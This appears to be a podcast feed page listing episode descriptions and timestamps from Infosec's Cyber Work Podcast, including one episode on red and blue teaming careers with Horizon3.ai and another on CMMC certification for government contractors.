16:50 - Work with the DOD
20:33 - Why did you begin Horizon3.ai?
24:38 - Vulnerabilities: not always exploitable
29:46 - Strategies to deal with vulnerabilities
33:36 - Sensible use of a security team
35:29 - Advice for red and blue team collaboration
39:14 - Pentesting and red teaming career tips
41:12 - Demystifying red and blue team
45:40 - How do you become intensely into your work
47:24 - First steps to get on your career path
49:49 - How to learn more about Horizon3.ai
50:42 - Outro

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

✇ Infosec Resources

CMMC is coming: Here's what cybersecurity professionals need to know | Cyber Work Podcast

By: Infosec

Frank Smith joins us from Ntiva to talk about the new Cybersecurity Maturity Model Certification (CMMC), organizations achieving Level 1 and Level 3 maturity levels, and why CMMC is so important for government contractors. Plus he discusses security for federal entities and how to get started in a career in cyber compliance by becoming a Certified CMMC Professional (CCP) or Certified CMMC Assessor (CCA).

– Get more free CMMC resources: https://www.infosecinstitute.com/solutions/organization/government/cmmc/
– Download our ebook, Developing cybersecurity talent and teams: https://www.infosecinstitute.com/ebook
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

0:00 - Intro 
2:11 - Origin story
4:17 - Key projects to climb the work ladder
6:45 - An average work day
9:30 - Cybersecurity Maturity Model Certification
16:38 - CMMC over five years
17:30 - Which level of certification will you need?
19:00 - Level 3 versus level 1 certification
22:20 - Finding your feet by 2022
23:55 - Jobs to take in first steps toward compliance officer 
27:27 - Benefits of CMMC for other roles
28:44 - Experiences to make you desirable as a worker
31:55 - Imperative to locking down infrastructure
37:58 - Ntiva
39:47 - Outro 

About Infosec
Infosec believes knowledge is power when fighting cybercrime. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and privacy training to stay cyber-safe at work and home. It’s our mission to equip all organizations and individuals with the know-how and confidence to outsmart cybercrime. Learn more at infosecinstitute.com.

❌